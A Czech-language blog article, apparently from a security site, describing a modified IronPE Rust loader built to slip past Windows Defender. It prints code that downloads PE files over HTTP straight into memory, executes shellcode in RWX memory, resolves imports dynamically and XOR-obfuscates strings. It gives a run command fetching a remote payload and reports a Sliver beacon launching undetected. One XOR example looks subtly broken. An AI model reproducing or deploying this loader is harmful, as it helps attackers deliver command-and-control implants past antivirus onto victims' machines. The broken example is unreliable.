Modifikace IronPE pro načítání PE souborů do paměti bez detekce Defenderem
Modifikovaný IronPE umožňuje načítat PE soubory (EXE nebo DLL) přes HTTP/HTTPS přímo do paměti, aniž by se zapisovaly na disk. Tím se obejde statická analýza Windows Defenderu, protože na souborovém systému nezůstávají žádné stopy. Implementace v Rustu využívá ruční mapování (manual mapping) s dynamickým řešením importů a obfuskací řetězců.
IronPE byl původně určen k demonstraci mechanismu načítání PE bez standardních API jako CreateProcess nebo LoadLibrary. Modifikace přidává síťové načítání užitečného kódu a podporu shellcode, přičemž zachovává legitimní volání WinAPI.
Hlavní změny v kódu
HTTP načítání s reqwest
Pro získání PE souboru ze sítě je integrován blokující klient reqwest s User-Agent, který napodobuje prohlížeč, a časovým limitem 120 sekund.
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
Spuštění: ./ironpe --x64 http://server/payload.exe. Bajty se načtou do paměti bez uložení na disk.
Podpora shellcode
Režim --shellcode alokuje RWX paměť přes VirtualAlloc a zkopíruje tam bajty pro přímé spuštění. Vhodné pro stegery jako Sliver.
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
Dynamické řešení importů
IAT je minimalizován: všechny funkce (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) se řeší za běhu. Neexistují statické odkazy na injekci nebo přístup k LSASS, což snižuje detekci.
Obfuskace řetězců
Názvy DLL a funkcí jsou uloženy jako XOR-šifrované bajty. Dešifrování probíhá pouze při spuštění.
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);
Mechanismy obcházení statické analýzy
Technika funguje na Windows 11 25H2 s aktivním Defenderem (reálný čas, cloud). Klíčové faktory:
- Žádný disk: užitečný kód (~30 MB Sliver beacon) se neukládá.
- Legitimní API: VirtualAlloc, LoadLibrary atd. – standard pro instalátory.
- Prázdný IAT: dynamika skrývá podezřelá volání.
- Rust: v malwaru vzácný, méně YARA pravidel.
- Síťová fáze: payload je statickému skeneru neznámý.
Výhody a omezení
| Aspekt | Původní IronPE | Modifikace |
|--------|-----------------|-------------|
| Načítání | Lokální soubor | HTTP/HTTPS |
| Shellcode | Ne | Ano, RWX |
| IAT | Částečně dynamika | Plná dynamika |
| Řetězce | Prostý text | XOR-obfuskace |
| Detekce Defenderem | Možná | Obcházení statické |
Při testování na VPS s Python serverem (port 8081) se relace Sliver spustila bez upozornění Defenderu.
Co je důležité:
- Manual mapping + HTTP vylučuje souborové signatury.
- Dynamické importy minimalizují statickou stopu.
- Rust snižuje riziko signatur, ale ne behaviorální.
- Vyžaduje úpravy pro EDR s AMSI/ETW monitoringem.
- Pouze pro výzkum bezpečnosti.
— Editorial Team
Zatím žádné komentáře.